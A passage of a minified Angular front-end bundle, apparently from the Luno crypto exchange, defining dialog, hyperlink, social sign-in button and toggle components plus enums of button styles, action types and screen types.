t{constructor(t,e,n,s){this.analyticsService=t,this.dialogRef=e,this.actionService=n,this.config=s,this.focusSecondaryButton=!1,this.checkbox=new i.NI,this.hasAttemptedConfirm=!1}get showPrimaryButton(){return!this.primaryActionUrl||!!this.primaryActionId}get showPrimaryLink(){return!this.showPrimaryButton}get showSecondaryButton(){return!this.secondaryActionUrl||!!this.secondaryActionId}get showSecondaryLink(){return!this.showSecondaryButton}ngOnInit(){!this.config||(this.initDialog(),this.analyticsService.trackPage(this.config.screenName,void 0,void 0,!0),this.checkboxValueSubscription=this.handleCheckboxValueChange())}ngOnDestroy(){var t,e;(null===(t=this.config)||void 0===t?void 0:t.screenName)&&this.analyticsService.trackMarkedPage(),null===(e=this.checkboxValueSubscription)||void 0===e||e.unsubscribe()}handleCheckboxValueChange(){return this.dialogRef.disableClose=!!this.checkboxText,this.checkbox.valueChanges.subscribe(t=>{!this.checkboxText||(this.dialogRef.disableClose=!t)})}dismiss(t=!1){var e,n;t&&this.checkboxText&&!this.checkbox.value?this.hasAttemptedConfirm=!0:(t&&(null===(e=this.config.primaryAction)||void 0===e?void 0:e.event)&&this.analyticsService.logEvent(this.config.primaryAction.event),!t&&(null===(n=this.config.secondaryAction)||void 0===n?void 0:n.event)&&this.analyticsService.logEvent(this.config.secondaryAction.event),this.dialogRef.close(t))}showExternalLink(t){return!!t&&this.actionService.isExternalLink(t)}shouldOpenInNewWindow(t){return!!t&&this.actionService.shouldOpenInNewWindow(t)}initDialog(){var t,e,n,i,s,r,o,a;this.headerImageUrl=this.config.header&&this.config.header.imageUrl,this.titleHtml=this.config.title,this.bodyHtml=this.config.bodyHtml||this.config.body,this.checkboxText=this.config.checkboxLabel,this.secondaryActionName=null===(t=this.config.secondaryAction)||void 0===t?void 0:t.name,this.secondaryActionId=null===(e=this.config.secondaryAction)||void 0===e?void 0:e.id,this.secondaryActionUrl=this.getActionUrl(null===(n=this.config.secondaryAction)||void 0===n?void 0:n.url),this.secondaryActionUrlParams=this.actionService.getParams((null===(i=this.config.secondaryAction)||void 0===i?void 0:i.url)||""),this.focusSecondaryButton=!!this.config.focusSecondaryButton,this.primaryActionName=null===(s=this.config.primaryAction)||void 0===s?void 0:s.name,this.primaryActionId=null===(r=this.config.primaryAction)||void 0===r?void 0:r.id,this.primaryActionUrl=this.getActionUrl(null===(o=this.config.primaryAction)||void 0===o?void 0:o.url),this.primaryActionUrlParams=this.actionService.getParams((null===(a=this.config.primaryAction)||void 0===a?void 0:a.url)||"")}setConfig(t){this.config=t,this.initDialog()}getActionUrl(t){return t?this.actionService.isExternalLink(t)?this.actionService.getUrl(t):this.actionService.getUrlWithoutParams(t):""}}return t.\u0275fac=function(e){return new(e||t)(a.Y36(o.y),a.Y36(s.so),a.Y36(r.c),a.Y36(s.WI))},t.\u0275cmp=a.Xpm({type:t,selectors:[["luno-dialog"]],decls:8,vars:6,consts:[[3,"src",4,"ngIf"],["mat-dialog-title","",3,"innerHtml"],["class","body",3,"innerHTML",4,"ngIf"],["class","checkbox-container",3,"error",4,"ngIf"],["align","end"],[4,"ngIf"],[3,"src"],[1,"body",3,"innerHTML"],[1,"checkbox-container"],["color","primary",3,"formControl"],[1,"checkbox-label",3,"innerHTML"],["mat-button","","color","primary",3,"click",4,"ngIf"],["mat-button","","color","primary",3,"click"],["mat-button","","color","primary",3,"routerLink","queryParams","click",4,"ngIf"],["mat-button","","color","primary","role","button",3,"href","target","click",4,"ngIf"],["mat-button","","color","primary",3,"routerLink","queryParams","click"],["mat-button","","color","primary","role","button",3,"href","target","click"]],template:function(t,e){1&t&&(a.YNc(0,d,1,1,"img",0),a._UZ(1,"h2",1),a.TgZ(2,"mat-dialog-content"),a.YNc(3,p,1,1,"div",2),a.YNc(4,f,3,4,"div",3),a.qZA(),a.TgZ(5,"mat-dialog-actions",4),a.YNc(6,b,3,2,"ng-container",5),a.YNc(7,S,3,2,"ng-container",5),a.qZA()),2&t&&(a.Q6J("ngIf",e.headerImageUrl),a.xp6(1),a.Q6J("innerHtml",e.titleHtml,a.oJD),a.xp6(2),a.Q6J("ngIf",e.bodyHtml),a.xp6(1),a.Q6J("ngIf",e.checkboxText),a.xp6(2),a.Q6J("ngIf",e.secondaryActionName),a.xp6(1),a.Q6J("ngIf",e.primaryActionName))},directives:[c.O5,s.uh,s.xY,s.H8,l.oG,i.JJ,i.oH,u.lW,u.zs,h.yS],styles:["h2[_ngcontent-%COMP%]{text-align:left;font-size:22px;color:var(--color-primary);font-weight:800}h2.mat-dialog-title[_ngcontent-%COMP%]{font-size:20px;line-height:1.3}.body[_ngcontent-%COMP%]{color:var(--color-primary);font-weight:500}.body[_ngcontent-%COMP%]     a{color:#0091ff;text-decoration:none;font-weight:800}img[_ngcontent-%COMP%]{width:50px;margin:5px 0}.checkbox-container[_ngcontent-%COMP%]{padding-top:16px}.checkbox-container[_ngcontent-%COMP%]   mat-checkbox[_ngcontent-%COMP%]     label{white-space:normal}.checkbox-container.error[_ngcontent-%COMP%]   p[_ngcontent-%COMP%]{color:var(--color-error)}.checkbox-container[_ngcontent-%COMP%]   .checkbox-label[_ngcontent-%COMP%]{margin:0 0 0 8px;padding-top:2px}mat-dialog-actions[_ngcontent-%COMP%]{display:flex;flex-wrap:wrap-reverse}"]}),t})()},72337:function(t,e,n){"use strict";n.d(e,{S:function(){return u}});var i=n(54364),s=n(1707),r=n(70781),o=n(74058),a=n(22213),c=n(47532),l=n(2316);let u=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=l.oAB({type:t}),t.\u0275inj=l.cJS({imports:[[i.ez,r.ot,o.p9,a.Is,s.UX,c.Bz]]}),t})()},46708:function(t,e,n){"use strict";n.d(e,{t:function(){return _}});var i=n(2316),s=n(58625),r=n(70227),o=n(54364),a=n(47532);function c(t,e){1&t&&i.GkF(0)}function l(t,e){if(1&t){const t=i.EpF();i.TgZ(0,"a",5),i.NdJ("click",function(e){return i.CHM(t),i.oxw(2).onClick(e)}),i.YNc(1,c,1,0,"ng-container",6),i.qZA()}if(2&t){const t=i.oxw(2),e=i.MAs(3);i.Q6J("href",t.url,i.LSH)("target",t.shouldOpenInNewWindow?"_blank":""),i.uIk("aria-label",null==t.aria?null:t.aria.label),i.xp6(1),i.Q6J("ngTemplateOutlet",e)}}function u(t,e){1&t&&i.GkF(0)}function h(t,e){if(1&t){const t=i.EpF();i.TgZ(0,"a",7),i.NdJ("click",function(e){return i.CHM(t),i.oxw(2).onClick(e)}),i.YNc(1,u,1,0,"ng-container",6),i.qZA()}if(2&t){const t=i.oxw(2),e=i.MAs(3);i.Q6J("queryParams",t.params)("routerLink",t.isDisabled?null:t.url),i.uIk("aria-label",null==t.aria?null:t.aria.label),i.xp6(1),i.Q6J("ngTemplateOutlet",e)}}function d(t,e){if(1&t&&(i.ynx(0),i.YNc(1,l,2,4,"a",3),i.YNc(2,h,2,4,"a",4),i.BQk()),2&t){const t=i.oxw();i.xp6(1),i.Q6J("ngIf",t.isExternalLink),i.xp6(1),i.Q6J("ngIf",!t.isExternalLink)}}function p(t,e){1&t&&i.GkF(0)}function f(t,e){if(1&t){const t=i.EpF();i.TgZ(0,"a",8),i.NdJ("click",function(e){return i.CHM(t),i.oxw().onClick(e)}),i.YNc(1,p,1,0,"ng-container",6),i.qZA()}if(2&t){const t=i.oxw(),e=i.MAs(3);i.uIk("aria-label",null==t.aria?null:t.aria.label),i.xp6(1),i.Q6J("ngTemplateOutlet",e)}}function m(t,e){1&t&&i.Hsn(0)}const g=["*"];let _=(()=>{class t{constructor(t,e){this.actionService=t,this.analyticsService=e,this.isDisabled=!1,this.clicked=new i.vpe,this.isExternalLink=!1,this.params={},this.shouldOpenInNewWindow=!1,this._url=""}set url(t){t&&this.initUrl(t)}set action(t){!t||(t.url&&this.initUrl(t.url),this._event=t.event)}get url(){return this._url}get event(){return this._event}initUrl(t){this.isExternalLink=this.actionService.isExternalLink(t),this.shouldOpenInNewWindow=this.actionService.shouldOpenInNewWindow(t),this.params=this.actionService.getParams(t),this._url=this.isExternalLink?this.actionService.getUrl(t):this.actionService.getUrlWithoutParams(t)}onClick(t){this.isDisabled?t.preventDefault():(this.analyticsService.logEvent(this.event),this.isExternalLink||t.preventDefault(),this.clicked.emit(t))}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(s.c),i.Y36(r.y))},t.\u0275cmp=i.Xpm({type:t,selectors:[["luno-hyperlink"]],inputs:{url:"url",action:"action",isDisabled:"isDisabled",aria:"aria"},outputs:{clicked:"clicked"},ngContentSelectors:g,decls:4,vars:2,consts:[[4,"ngIf"],[3,"click",4,"ngIf"],["contentTpl",""],[3,"href","target","click",4,"ngIf"],[3,"queryParams","routerLink","click",4,"ngIf"],[3,"href","target","click"],[4,"ngTemplateOutlet"],[3,"queryParams","routerLink","click"],[3,"click"]],template:function(t,e){1&t&&(i.F$t(),i.YNc(0,d,3,2,"ng-container",0),i.YNc(1,f,2,2,"a",1),i.YNc(2,m,1,0,"ng-template",null,2,i.W1O)),2&t&&(i.Q6J("ngIf",e.url),i.xp6(1),i.Q6J("ngIf",!e.url))},directives:[o.O5,o.tP,a.yS],styles:[""]}),t})()},11378:function(t,e,n){"use strict";n.d(e,{N:function(){return a}});var i=n(54364),s=n(47532),r=n(2316);let o=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[i.ez]]}),t})(),a=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[i.ez,s.Bz,o]]}),t})()},43817:function(t,e,n){"use strict";n.d(e,{Y:function(){return h}});var i=n(2316),s=n(66846),r=n(70227),o=n(22210),a=n(54364),c=n(70781);function l(t,e){if(1&t){const t=i.EpF();i.TgZ(0,"a",2),i.NdJ("click",function(e){return i.CHM(t),i.oxw(2).onClick(e)}),i.TgZ(1,"div",3),i._UZ(2,"img",4),i.TgZ(3,"div",5),i._uU(4),i.qZA(),i.qZA(),i.qZA()}if(2&t){const t=i.oxw().$implicit,e=i.oxw();i.ekj("apple-btn",t.style===e.appleButtonStyle)("facebook-btn",t.style===e.facebookButtonStyle),i.xp6(2),i.Q6J("src",t.iconSrc,i.LSH),i.xp6(2),i.Oqu(t.text)}}function u(t,e){if(1&t&&(i.ynx(0),i.YNc(1,l,5,6,"a",1),i.BQk()),2&t){const t=e.$implicit,n=i.oxw();i.xp6(1),i.Q6J("ngIf",n.button&&n.button.action.style===t.style&&!n.isButtonDisabled(t))}}let h=(()=>{class t{constructor(t,e){this.analyticsService=t,this.i18n=e,this.clicked=new i.vpe,this.appleButtonStyle=s.XMl[s.fk3.APPLE],this.facebookButtonStyle=s.XMl[s.fk3.FACEBOOK]}ngOnInit(){this.setupSocialButtons()}onClick(t){this.button&&this.button.action.url&&(location.href=this.button.action.url),this.analyticsService.logEvent(this.button.action&&this.button.action.event),this.clicked.emit(this.button)}setupSocialButtons(){this.socialButtons=[{text:this.i18n.translateText("Continue with Google",void 0,"Component: Button"),style:s.XMl[s.fk3.GOOGLE],iconSrc:this.projectAssetsUrl?this.projectAssetsUrl+"/svg/social-google.svg":null},{text:this.i18n.translateText("Continue with Facebook",void 0,"Component: Button"),style:s.XMl[s.fk3.FACEBOOK],iconSrc:this.projectAssetsUrl?this.projectAssetsUrl+"/svg/social-facebook-white.svg":null},{text:this.i18n.translateText("Continue with Apple",void 0,"Component: Button"),style:s.XMl[s.fk3.APPLE],iconSrc:this.projectAssetsUrl?this.projectAssetsUrl+"/svg/social-apple-white.svg":null}]}isButtonDisabled(t){switch(t.style){case s.XMl[s.fk3.GOOGLE]:return this.isGoogleDisabled;case s.XMl[s.fk3.FACEBOOK]:return this.isFacebookDisabled;case s.XMl[s.fk3.APPLE]:return this.isAppleDisabled;default:return!1}}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(r.y),i.Y36(o.K))},t.\u0275cmp=i.Xpm({type:t,selectors:[["luno-social-button"]],inputs:{button:"button",projectAssetsUrl:"projectAssetsUrl",isGoogleDisabled:"isGoogleDisabled",isFacebookDisabled:"isFacebookDisabled",isAppleDisabled:"isAppleDisabled"},outputs:{clicked:"clicked"},decls:1,vars:1,consts:[[4,"ngFor","ngForOf"],["mat-button","","role","button","class","social-button",3,"apple-btn","facebook-btn","click",4,"ngIf"],["mat-button","","role","button",1,"social-button",3,"click"],[1,"social-button-inner"],["alt","social button icon","loading","lazy",3,"src"],[1,"inner-text"]],template:function(t,e){1&t&&i.YNc(0,u,2,1,"ng-container",0),2&t&&i.Q6J("ngForOf",e.socialButtons)},directives:[a.sg,a.O5,c.zs],styles:[".social-button[_ngcontent-%COMP%]{padding:0 24px;text-transform:uppercase;font-weight:normal;margin-bottom:16px!important;border:1px solid #000000;color:#000!important;max-width:344px;width:100%}.social-button[_ngcontent-%COMP%]     .mat-button-wrapper{display:flex;justify-content:left;align-items:center;text-transform:capitalize}.social-button[_ngcontent-%COMP%]   .social-button-inner[_ngcontent-%COMP%]{display:flex;margin-left:calc(25% - (24px + 10px));justify-content:center;align-items:center}.social-button[_ngcontent-%COMP%]   .social-button-inner[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{width:18px;margin-right:24px}.social-button[_ngcontent-%COMP%]   .social-button-inner[_ngcontent-%COMP%]   .inner-text[_ngcontent-%COMP%]{font-weight:500;letter-spacing:.37px}@media screen and (max-width: 768px){.social-button[_ngcontent-%COMP%]   .social-button-inner[_ngcontent-%COMP%]{margin:0 auto}}.facebook-btn[_ngcontent-%COMP%]{background:#0091ff!important;color:#fff!important;border:none}.facebook-btn[_ngcontent-%COMP%]:hover{background:#1a9cff!important}.apple-btn[_ngcontent-%COMP%]{background:#000000!important;color:#fff!important;border:none}.apple-btn[_ngcontent-%COMP%]:hover{background:#0d0d0d!important}"]}),t})()},4726:function(t,e,n){"use strict";n.d(e,{u:function(){return o}});var i=n(54364),s=n(70781),r=n(2316);let o=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[i.ez,s.ot]]}),t})()},94353:function(t,e,n){"use strict";n.d(e,{n:function(){return g}});var i=n(2316),s=n(1707),r=n(80181),o=n(81134),a=n(84224),c=n(8117),l=n(22663),u=n(14921),h=n(79902),d=n(18293),p=n(32080);const f=["lunoToggle"],m=["*"];let g=(()=>{class t{constructor(t,e){this.resolver=t,this.changeDetectorRef=e,this.action=()=>(0,o.of)(null),this.destroyComponent$=new a.t(1),this.changeEvent=t=>{},this.touchEvent=()=>{}}ngOnInit(){this.toggleControl=new s.NI(!(!this.config||!this.config.value)&&this.config.value),this.toggleControl.valueChanges.pipe((0,l.R)(this.destroyComponent$),(0,u.b)(()=>{this.actionStarted()}),(0,h.w)(t=>this.action(t).pipe((0,u.b)(()=>{this.actionCompleted()}),(0,d.K)(()=>(this.actionFailed(),c.E))))).subscribe()}ngOnDestroy(){this.destroyComponent$.next(),this.destroyComponent$.unsubscribe()}registerOnChange(t){this.changeEvent=t}registerOnTouched(t){this.touchEvent=t}writeValue(t){return this.setToggleControlValue(t)}setDisabledState(t){return t?this.disableToggleControl():this.enableToggleControl()}disableToggleControl(){this.toggleControl.disable({emitEvent:!1})}enableToggleControl(){this.toggleControl.enable({emitEvent:!1})}setToggleControlValue(t){this.toggleControl.setValue(t,{emitEvent:!1})}actionStarted(){this.disableToggleControl(),this.addSpinner()}actionCompleted(){this.changeEvent(this.toggleControl.value),this.enableToggleControl(),this.removeSpinner()}actionFailed(){this.setToggleControlValue(!this.toggleControl.value),this.enableToggleControl(),this.removeSpinner()}addSpinner(){if(this.toggleEl)try{const t=this.toggleEl._elementRef.nativeElement.children[0].children[0].children[1].children[0];this.removeChild(t.children[0]),t.appendChild(this.createMatSpinnerComponent()),this.changeDetectorRef.detectChanges()}catch(t){console.error(t)}}removeSpinner(){if(this.toggleEl)try{this.removeChild(this.toggleEl._elementRef.nativeElement.children[0].children[0].children[1].children[0].children[0])}catch(t){console.error(t)}}removeChild(t){t&&(t.remove(),this.changeDetectorRef.detectChanges())}createMatSpinnerComponent(){const t=this.resolver.resolveComponentFactory(r.$g),e=this.entry.createComponent(t).instance;return e.diameter=18,e.color="primary",e._elementRef.nativeElement}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i._Vd),i.Y36(i.sBO))},t.\u0275cmp=i.Xpm({type:t,selectors:[["luno-toggle"]],viewQuery:function(t,e){if(1&t&&(i.Gf(f,5),i.Gf(f,5,i.s_b)),2&t){let t;i.iGM(t=i.CRH())&&(e.toggleEl=t.first),i.iGM(t=i.CRH())&&(e.entry=t.first)}},inputs:{config:"config",action:"action"},features:[i._Bn([{provide:s.JU,useExisting:(0,i.Gpc)(()=>t),multi:!0}])],ngContentSelectors:m,decls:3,vars:1,consts:[["color","primary",3,"formControl","blur"],["lunoToggle",""]],template:function(t,e){1&t&&(i.F$t(),i.TgZ(0,"mat-slide-toggle",0,1),i.NdJ("blur",function(){return e.touchEvent()}),i.Hsn(2),i.qZA()),2&t&&i.Q6J("formControl",e.toggleControl)},directives:[p.Rr,s.JJ,s.oH],styles:[".mat-slide-toggle.mat-checked:not(.mat-disabled) .mat-slide-toggle-thumb{box-sizing:border-box}  .mat-slide-toggle.mat-checked:not(.mat-disabled) .mat-slide-toggle-bar{background-color:#0091ff66;box-sizing:border-box}  .mat-slide-toggle:not(.mat-disabled) .mat-slide-toggle-bar{background-color:#0000001a;box-sizing:border-box}  .mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb{background-color:#fff;box-sizing:border-box;display:flex;align-items:center;justify-content:center}  .luno-toggle-mat-icon{font-size:20px;line-height:20px;color:#fff}"]}),t})()},76424:function(t,e,n){"use strict";n.d(e,{v:function(){return l}});var i=n(54364),s=n(1707),r=n(52529),o=n(80181),a=n(32080),c=n(2316);let l=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=c.oAB({type:t}),t.\u0275inj=c.cJS({imports:[[i.ez,a.rP,o.Cq,r.Ps,s.UX]]}),t})()},10384:function(t,e,n){"use strict";n.d(e,{Y:function(){return r}});var i=n(54364),s=n(2316);let r=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[i.ez]]}),t})()},46436:function(t,e,n){"use strict";n.d(e,{I:function(){return i}});var i=(()=>{return(t=i||(i={}))[t.external=0]="external",t[t.wallet=1]="wallet",t[t.websiteOld=2]="websiteOld",t[t.helpCentre=3]="helpCentre",t[t.exchange=4]="exchange",t[t.exchangePwa=5]="exchangePwa",t[t.learningPortal=6]="learningPortal",t[t.sandbox=7]="sandbox",t[t.express=8]="express",t[t.website=9]="website",t[t.careers=10]="careers",t[t.auth=11]="auth",i;var t})()},66846:function(t,e,n){"use strict";n.d(e,{gw3:function(){return i},XMl:function(){return s},fk3:function(){return r},aW$:function(){return o},Ta6:function(){return a},nd0:function(){return c},X1J:function(){return l},Wy6:function(){return u},iK5:function(){return h},d9x:function(){return d},GyU:function(){return p},KzN:function(){return f},ZX4:function(){return m},LLd:function(){return g},B1_:function(){return _}});var i=(()=>{return(t=i||(i={}))[t.UNKNOWN_STYLE=0]="UNKNOWN_STYLE",t[t.PRIMARY=1]="PRIMARY",t[t.SECONDARY=2]="SECONDARY",t[t.PRIMARY_UPGRADE=3]="PRIMARY_UPGRADE",t[t.SECONDARY_UPGRADE=4]="SECONDARY_UPGRADE",t[t.FACEBOOK=5]="FACEBOOK",t[t.GOOGLE=6]="GOOGLE",t[t.APPLE=7]="APPLE",t[t.PRIMARY_GUIDE=8]="PRIMARY_GUIDE",t[t.INLINE=9]="INLINE",t[t.TERTIARY=10]="TERTIARY",t[t.INLINE_REMOVE=11]="INLINE_REMOVE",i;var t})();let s={0:"UNKNOWN_STYLE",1:"PRIMARY",2:"SECONDARY",3:"PRIMARY_UPGRADE",4:"SECONDARY_UPGRADE",5:"FACEBOOK",6:"GOOGLE",7:"APPLE",8:"PRIMARY_GUIDE",9:"INLINE",10:"TERTIARY",11:"INLINE_REMOVE"},r={UNKNOWN_STYLE:0,PRIMARY:1,SECONDARY:2,PRIMARY_UPGRADE:3,SECONDARY_UPGRADE:4,FACEBOOK:5,GOOGLE:6,APPLE:7,PRIMARY_GUIDE:8,INLINE:9,TERTIARY:10,INLINE_REMOVE:11};var o=(()=>{return(t=o||(o={}))[t.UNKNOWN_ENDPOINT=0]="UNKNOWN_ENDPOINT",t[t.LABS_ENABLE=1]="LABS_ENABLE",t[t.LABS_DISABLE=2]="LABS_DISABLE",t[t.LABS_FEATURE_ENABLE=3]="LABS_FEATURE_ENABLE",t[t.LABS_FEATURE_DISABLE=4]="LABS_FEATURE_DISABLE",t[t.REPEAT_BUY_REMOVE=5]="REPEAT_BUY_REMOVE",t[t.REPEAT_BUY_PAUSE=6]="REPEAT_BUY_PAUSE",t[t.REPEAT_BUY_RESUME=7]="REPEAT_BUY_RESUME",t[t.ADD_BANK_BENEFICIARY_FORM=8]="ADD_BANK_BENEFICIARY_FORM",t[t.LOGIN_OTP=9]="LOGIN_OTP",o;var t})(),a=(()=>{return(t=a||(a={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.SUBMIT=1]="SUBMIT",t[t.REDIRECT=2]="REDIRECT",t[t.TOKEN_ACTION=3]="TOKEN_ACTION",t[t.AUTH_TOKEN=4]="AUTH_TOKEN",t[t.SHARE=5]="SHARE",t[t.DIALOG=6]="DIALOG",t[t.MODAL=7]="MODAL",t[t.BOTTOM_SHEET=8]="BOTTOM_SHEET",t[t.AUTHENTICATION_APP=9]="AUTHENTICATION_APP",t[t.EMAIL_APP=10]="EMAIL_APP",t[t.ENDPOINT=11]="ENDPOINT",t[t.SOCIAL_SIGN_IN=12]="SOCIAL_SIGN_IN",t[t.CHAT=13]="CHAT",t[t.WEBVIEW=14]="WEBVIEW",t[t.PLAID_LINK=15]="PLAID_LINK",a;var t})();let c={UNKNOWN_TYPE:0,SUBMIT:1,REDIRECT:2,TOKEN_ACTION:3,AUTH_TOKEN:4,SHARE:5,DIALOG:6,MODAL:7,BOTTOM_SHEET:8,AUTHENTICATION_APP:9,EMAIL_APP:10,ENDPOINT:11,SOCIAL_SIGN_IN:12,CHAT:13,WEBVIEW:14,PLAID_LINK:15};var l=(()=>{return(t=l||(l={}))[t.UNKNOWN_TYPE=0]="UNKNOWN_TYPE",t[t.FAILURE=1]="FAILURE",t[t.FIRST_BUY=2]="FIRST_BUY",t[t.LOADER=3]="LOADER",t[t.PENDING=4]="PENDING",t[t.SUCCESS=5]="SUCCESS",t[t.WELCOME=6]="WELCOME",t[t.UNLOCK=7]="UNLOCK",t[t.LOCK=8]="LOCK",t[t.FRAUD_LOCK=9]="FRAUD_LOCK",t[t.DUPLICATE_ACCOUNT=10]="DUPLICATE_ACCOUNT",t[t.REPEAT_TRANSFER_CANCEL=11]="REPEAT_TRANSFER_CANCEL",t[t.REPEAT_TRANSFER_SUCCESS=12]="REPEAT_TRANSFER_SUCCESS",t[t.DOCUMENTS_UNDER_REVIEW=13]="DOCUMENTS_UNDER_REVIEW",t[t.COMPLETE_PROFILE_SUCCESS=14]="COMPLETE_PROFILE_SUCCESS",t[t.COMPLETE_PROFILE_FAILURE=15]="COMPLETE_PROFILE_FAILURE",t[t.CONFIRM_IDENTITY=16]="CONFIRM_IDENTITY",t[t.SAVINGS_WALLET_GUIDE_1=17]="SAVINGS_WALLET_GUIDE_1",t[t.SAVINGS_WALLET_GUIDE_2=18]="SAVINGS_WALLET_GUIDE_2",t[t.SAVINGS_WALLET_GUIDE_3=19]="SAVINGS_WALLET_GUIDE_3",t[t.SAVINGS_WALLET_CREATED=20]="SAVINGS_WALLET_CREATED",t[t.SAVINGS_WALLET_FIRST_TRANSFER=21]="SAVINGS_WALLET_FIRST_TRANSFER",t[t.SAVINGS_WALLET_TRANSFER_IN=22]="SAVINGS_WALLET_TRANSFER_IN",t[t.SAVINGS_WALLET_TRANSFER_OUT=23]="SAVINGS_WALLET_TRANSFER_OUT",t[t.USDC_WALLET_GUIDE_1=24]="USDC_WALLET_GUIDE_1",t[t.USDC_WALLET_GUIDE_2=25]="USDC_WALLET_GUIDE_2",t[t.USDC_WALLET_GUIDE_3=26]="USDC_WALLET_GUIDE_3",t[t.REPEAT_TRANSFER_GUIDE=27]="REPEAT_TRANSFER_GUIDE",t[t.REPEAT_TRANSFER_PAUSE=28]="REPEAT_TRANSFER_PAUSE",t[t.USDC_SAVINGS_WALLET_CREATED=29]="USDC_SAVINGS_WALLET_CREATED",t[t.USDC_SAVINGS_WALLET_GUIDE_1=30]="USDC_SAVINGS_WALLET_GUIDE_1",t[t.USDC_SAVINGS_WALLET_GUIDE_2=31]="USDC_SAVINGS_WALLET_GUIDE_2",t[t.USDC_SAVINGS_WALLET_GUIDE_3=32]="USDC_SAVINGS_WALLET_GUIDE_3",t[t.USDC_SAVINGS_WALLET_GUIDE_4=33]="USDC_SAVINGS_WALLET_GUIDE_4",t[t.USDC_SAVINGS_WALLET_FIRST_TRANSFER=34]="USDC_SAVINGS_WALLET_FIRST_TRANSFER",t[t.USDC_SAVINGS_WALLET_TRANSFER_IN=35]="USDC_SAVINGS_WALLET_TRANSFER_IN",t[t.USDC_SAVINGS_WALLET_TRANSFER_OUT=36]="USDC_SAVINGS_WALLET_TRANSFER_OUT",t[t.USDC_DEPOSIT=37]="USDC_DEPOSIT",t[t.USDC_BUY=38]="USDC_BUY",t[t.ETH_SAVINGS_WALLET_CREATED=39]="ETH_SAVINGS_WALLET_CREATED",t[t.ETH_SAVINGS_WALLET_GUIDE_1=40]="ETH_SAVINGS_WALLET_GUIDE_1",t[t.ETH_SAVINGS_WALLET_GUIDE_2=41]="ETH_SAVINGS_WALLET_GUIDE_2",t[t.ETH_SAVINGS_WALLET_GUIDE_3=42]="ETH_SAVINGS_WALLET_GUIDE_3",t[t.ETH_SAVINGS_WALLET_GUIDE_4=43]="ETH_SAVINGS_WALLET_GUIDE_4",t[t.ETH_SAVINGS_WALLET_FIRST_TRANSFER=44]="ETH_SAVINGS_WALLET_FIRST_TRANSFER",t[t.ETH_SAVINGS_WALLET_TRANSFER_IN=45]="ETH_SAVINGS_WALLET_TRANSFER_IN",t[t.ETH_SAVINGS_WALLET_TRANSFER_OUT=46]="ETH_SAVINGS_WALLET_TRANSFER_OUT",t[t.ETH_DEPOSIT=47]="ETH_DEPOSIT",t[t.ETH_BUY=48]="ETH_BUY",t[t.BTC_DEPOSIT=49]="BTC_DEPOSIT",t[t.BTC_BUY=50]="BTC_BUY",t[t.REPEAT_TRANSFER_DEPOSIT=51]="REPEAT_TRANSFER_DEPOSIT",t[t.PROFIT_LOSS_GUIDE_1=52]="PROFIT_LOSS_GUIDE_1",t[t.CREDIT_CARD_ADD=53]="CREDIT_CARD_ADD",t[t.CREDIT_CARD_ERROR=54]="CREDIT_CARD_ERROR",t[t.CREDIT_CARD_REMOVE=55]="CREDIT_CARD_REMOVE",t[t.TRANSACTION_SUCCESS=56]="TRANSACTION_SUCCESS",t[t.PASSWORD_CHANGED=57]="PASSWORD_CHANGED",t[t.VOUCHER_FAILURE=58]="VOUCHER_FAILURE",t[t.VOUCHER_SUCCESS=59]="VOUCHER_SUCCESS",t[t.PHONE_NUMBER_INVALID=60]="PHONE_NUMBER_INVALID",t[t.BANK_SUCCESS=61]="BANK_SUCCESS",t[t.BANK_PENDING=62]="BANK_PENDING",t[t.INVEST_SUCCESS=63]="INVEST_SUCCESS",t[t.AFRITICKETS_GUIDE_SCREEN_1=64]="AFRITICKETS_GUIDE_SCREEN_1",t[t.AFRITICKETS_GUIDE_SCREEN_2=65]="AFRITICKETS_GUIDE_SCREEN_2",t[t.AFRITICKETS_GUIDE_SCREEN_3=66]="AFRITICKETS_GUIDE_SCREEN_3",t[t.DEPOSIT_SUCCESS=67]="DEPOSIT_SUCCESS",t[t.DEPOSIT_PENDING=68]="DEPOSIT_PENDING",t[t.SAVINGS_WALLET_TRANSFER_IN_PENDING=69]="SAVINGS_WALLET_TRANSFER_IN_PENDING",t[t.SAVINGS_WALLET_CREATED_PENDING=70]="SAVINGS_WALLET_CREATED_PENDING",t[t.HELP_MESSAGE_SENT=71]="HELP_MESSAGE_SENT",t[t.SUSPICIOUS_ACTIVITY=72]="SUSPICIOUS_ACTIVITY",t[t.API_KEY_SUCCESS=73]="API_KEY_SUCCESS",t[t.API_KEY_FAILURE=74]="API_KEY_FAILURE",t[t.TWO_FA_ENABLE=75]="TWO_FA_ENABLE",t[t.TWO_FA_DISABLE=76]="TWO_FA_DISABLE",t[t.SEND_FAILURE=77]="SEND_FAILURE",t[t.SEND_PENDING=78]="SEND_PENDING",t[t.SEND_SUCCESS=79]="SEND_SUCCESS",t[t.SEND_DISABLE_SUCCESS=80]="SEND_DISABLE_SUCCESS",t[t.TRUSTED_DEVICE_SUCCESS=81]="TRUSTED_DEVICE_SUCCESS",t[t.TRUSTED_DEVICE_REMOVE_PENDING=82]="TRUSTED_DEVICE_REMOVE_PENDING",t[t.REGIONAL_SANCTION=83]="REGIONAL_SANCTION",t[t.LABS_GUIDE=84]="LABS_GUIDE",t[t.REGION_NOT_AVAILABLE_PENDING=85]="REGION_NOT_AVAILABLE_PENDING",t[t.SAVINGS_WALLET_GUIDE_4=86]="SAVINGS_WALLET_GUIDE_4",t[t.REVIEW_DOCS_SUCCESS=87]="REVIEW_DOCS_SUCCESS",t[t.EMAIL_ADDRESS_CHECK=88]="EMAIL_ADDRESS_CHECK",t[t.EMAIL_ADDRESS_VERIFIED=89]="EMAIL_ADDRESS_VERIFIED",t[t